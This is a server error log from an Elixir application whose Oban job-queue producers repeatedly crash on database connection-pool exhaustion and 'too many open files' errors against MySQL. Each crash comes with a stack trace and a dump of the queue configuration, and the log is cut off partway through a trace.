State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:31:25.239704Z], limit: 3, uuid: "43c80922-8150-49a1-9ab3-f5802545561a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:25.239710Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12722>, refresh_timer: #Reference<0.2525715032.1121189889.119573>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:31:25.241127Z], limit: 50, uuid: "cc72ad3c-e40a-40d9-9e9d-74845d3593a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:25.241133Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12723>, refresh_timer: #Reference<0.2525715032.1099431938.20319>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:31:25.240644Z], limit: 10, uuid: "adf6b638-807b-49a3-9739-19aeadfa9a2f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:25.240930Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12720>, refresh_timer: #Reference<0.2525715032.1121189889.119599>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:31:25.238871Z], limit: 20, uuid: "7f05cae7-1efd-411b-9818-8acf282f173d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:25.238876Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.119613>, refresh_timer: #Reference<0.2525715032.1121189889.119554>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:31:25.240224Z], limit: 5, uuid: "7cfcf3e8-2598-47ff-953c-6e839e65e5da", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:25.240229Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.119614>, refresh_timer: #Reference<0.2525715032.1099431938.20306>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:42.521000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:43.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:43.320000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:43.377000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:46.493000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:47.165000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:49.813000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:31:37.242971Z], limit: 5, uuid: "8b2a0a75-1894-4fc2-9c69-06f3dad1e662", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:37.242979Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20466>, refresh_timer: #Reference<0.2525715032.1077411843.251763>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:31:37.239603Z], limit: 3, uuid: "83a24003-1259-460d-9aad-d4d78ba79eb7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:37.239612Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20469>, refresh_timer: #Reference<0.2525715032.1121189889.119721>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:31:37.239081Z], limit: 5, uuid: "14331593-52ad-49fc-b7b5-fa2f177c492a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:37.239090Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20468>, refresh_timer: #Reference<0.2525715032.1121189889.119710>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:31:37.239905Z], limit: 50, uuid: "a9ceb84c-feee-41b7-88be-b3ee2fc08b32", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:37.239913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.13138>, refresh_timer: #Reference<0.2525715032.1121189889.119733>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
